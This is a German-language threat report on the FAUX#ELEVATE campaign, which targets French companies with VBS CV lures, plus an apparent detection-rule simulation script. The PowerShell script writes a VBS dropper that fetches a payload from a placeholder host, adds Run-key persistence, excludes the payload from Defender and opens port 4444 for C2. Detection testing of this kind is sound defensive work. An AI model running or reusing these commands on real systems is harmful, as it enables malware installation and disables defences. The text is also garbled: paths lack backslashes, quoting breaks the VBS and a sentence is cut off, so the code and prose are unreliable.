Analyse von FAUX#ELEVATE: Bedrohungsakteure zielen auf Frankreich mit CV-Ködern, um Krypto-Miner und Infostealer in Unternehmensumgebungen zu installieren

Zusammenfassung

Eine Cybercrime-Operation nutzt eine bösartige VBS-Lebenslaufdatei, um auf Französisch sprechende Unternehmensumgebungen abzuzielen. Der Dropper ist stark verschleiert und so konzipiert, dass er nur auf domänengebundenen Maschinen ausgeführt wird, wo er Malware zur Anmeldeinformationsdiebstahl zusammen mit einem Monero-Miner liefert. Die Kampagne nutzt vertrauenswürdige Dienste wie Dropbox und kompromittierte marokkanische WordPress-Websites, um Nutzlasten zu hosten. Gestohlene Daten werden über SMTP nach mail.ruexfiltriert, und die Malware entfernt Spuren nach der Ausführung, um die forensische Sichtbarkeit zu verringern.

Untersuchung

Forscher haben den VBS-Dropper rückentwickelt, seine Umgebungsprüfungen aufgedeckt und die vollständige, mehrstufige Infektionskette nachverfolgt, einschließlich der 7-Zip-Extraktion, eines benutzerdefinierten RATs namens RuntimeHost.exe, dem Diebstahl von Browser-Anmeldeinformationen über ChromElevator und der XMRig-Mining-Aktivität. Sie identifizierten auch unterstützende Infrastrukturen wie IP-Adressen, dynamische DNS-Einträge und gehackte WordPress-Server. Die Persistenz wurde mit Registrierungsschlüsseln für den Start verbunden und einer versteckten geplanten Aufgabe.

Minderung

Verteidiger sollten verdächtige VBS-Dateien blockieren und strenge Kontrollen bei E-Mail-Anhängen durchsetzen. Die Überwachung sollte sich auf die ungewöhnliche Ausführung von wscript.exe, PowerShell-Befehle, die Defender-Ausschlüsse hinzufügen, und Registrierungsänderungen, die EnableLUA betreffen, konzentrieren. Organisationen sollten ausgehende SMTP-Verbindungen von Nicht-Mail-Anwendungen einschränken und Verbindungen zu bekannten Dropbox- und Mining-Pool-Infrastrukturen beobachten. Jegliche identifizierten Registrierungsschlüssel oder geplante Aufgaben sollten entfernt oder unter Quarantäne gestellt werden.

Reaktion

Sicherheitsteams sollten die Erstellung der „Microsoft Media Service“ und „z_MicrosoftEdgeAutoLaunch_2EDFBF“ Registrierungsschlüssel sowie die versteckte „MicrosoftUpdateService“ geplante Aufgabe erkennen. Warnungen sollten ausgelöst werden durch wscript.exe-Prozesse, die auf Dropbox oder die dokumentierten WordPress-Domains zugreifen. Schädliche Dateien müssen unter Quarantäne gestellt, der Host isoliert und die offengelegten Browser-Anmeldeinformationen zurückgesetzt werden. Eine forensische Überprüfung sollte anschließend klären, ob Daten durch mail.ru.

Simulation Execution

Voraussetzung: Der Telemetrie- & Basislinien-Vorab-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN die erkannten TTPs direkt widerspiegeln und darauf abzielen, genau die Telemetrie zu generieren, die von der Erkennungslogik erwartet wird.

• Angriffsbericht & Befehle:

  1. Stufe 1 – Bösartiges VBS ablegen: Der Angreifer schreibt einen VBS-Dropper, der eine Nutzlast der zweiten Stufe herunterlädt und einen Registrierungslauf-Schlüssel für die Persistenz schreibt.
  2. Stufe 2 – VBS ausführen über wscript.exe mit PowerShell als übergeordnetem Prozess, wodurch die übergeordnete Bedingung der Erkennung erfüllt wird.
  3. Stufe 3 – Innerhalb des VBS PowerShell aufrufen, um einen Microsoft Defender-Ausschluss hinzuzufügen (T1562.001) und Netsh, um den TCP-Eingangsport 4444 (T1562.004) für C2 zu öffnen.
  4. Stufe 4 – Beweise nach Erfolg bereinigen.

• Regressionstest-Skript: (PowerShell – eigenständig; mit Administratorrechten ausführen)

  # -----------------------------------------------------------------------
  # Schädliche VBS-Dropper-Simulation – löst Sigma-Regel aus:
  #   Bild == "*wscript.exe" UND ParentImage in ("*powershell.exe","*netsh.exe")
  # -----------------------------------------------------------------------
  
  $vbsPath = "$env:Tempmalicious_dropper.vbs"
  $payloadUrl = "http://example.com/payload.exe"   # Platzhalter-URL
  $payloadPath = "$env:Temppayload.exe"
  
  # 1. Schaffe bösartiges VBS, das:
  #    • eine Nutzlast herunterlädt
  #    • einen Run-Schlüssel für die Persistenz schreibt
  #    • PowerShell aufruft, um Defender-Ausschluss hinzuzufügen
  #    • Netsh aufruft, um eine Firewall-Regel zu öffnen
  $vbsContent = @"
  Set objXML = CreateObject("Microsoft.XMLHTTP")
  objXML.Open "GET", "$payloadUrl", False
  objXML.Send
  If objXML.Status = 200 Then
  Set objStream = CreateObject("ADODB.Stream")
  objStream.Type = 1
  objStream.Open
  objStream.Write objXML.ResponseBody
  objStream.SaveToFile "$payloadPath", 2
  End If

‚ Persistenz durch Run-Schlüssel Set objShell = CreateObject(„WScript.Shell“) objShell.RegWrite „HKCUSoftwareMicrosoftWindowsCurrentVersionRunmalicious“, „$payloadPath“

‚ Defender-Ausschluss via PowerShell (innerhalb ausgeführt) objShell.Run „powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '$payloadPath'„“, 0, True

‚ Öffne Firewall-Port 4444 via Netsh (innerhalb ausgeführt) objShell.Run „netsh.exe advfirewall firewall add rule name="MaliciousPort“ dir=in action=allow protocol=TCP localport=4444″, 0, True „@

Set-Content -Path $vbsPath -Value $vbsContent -Encoding ASCII

# 2. Starte das VBS mit PowerShell als übergeordnetem Prozess
Write-Host "[*] Starte bösartiges VBS über wscript.exe (übergeordnet: PowerShell)"
Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -Command `"wscript.exe `"$vbsPath`"`"" -Wait

# 3. Prüfen, ob die Firewall-Regel hinzugefügt wurde (optional)
netsh advfirewall firewall show rule name=MaliciousPort

# 4. Bereinige Artefakte (Payload & VBS) - separat für den Bereinigungsabschnitt belassen
Write-Host "[+] Simulation abgeschlossen. Überprüfen Sie Warnungen im SIEM."

• Bereinigungskommandos: (nach Überprüfung ausführen)

  # Entferne Firewall-Regel
  netsh advfirewall firewall delete rule name="MaliciousPort"
  
  # Entferne Defender-Ausschluss
  powershell.exe -Command "Remove-MpPreference -ExclusionPath '$env:Temppayload.exe'"
  
  # Lösche Persistenz-Run-Schlüssel
  reg delete "HKCUSoftwareMicrosoftWindowsCurrentVersionRunmalicious" /f
  
  # Lösche Dateien
  Remove-Item -Path "$env:Tempmalicious_dropper.vbs" -Force
  Remove-Item -Path "$env:Temppayload.exe" -Force
  
  Write-Host "[+] Bereinigung abgeschlossen."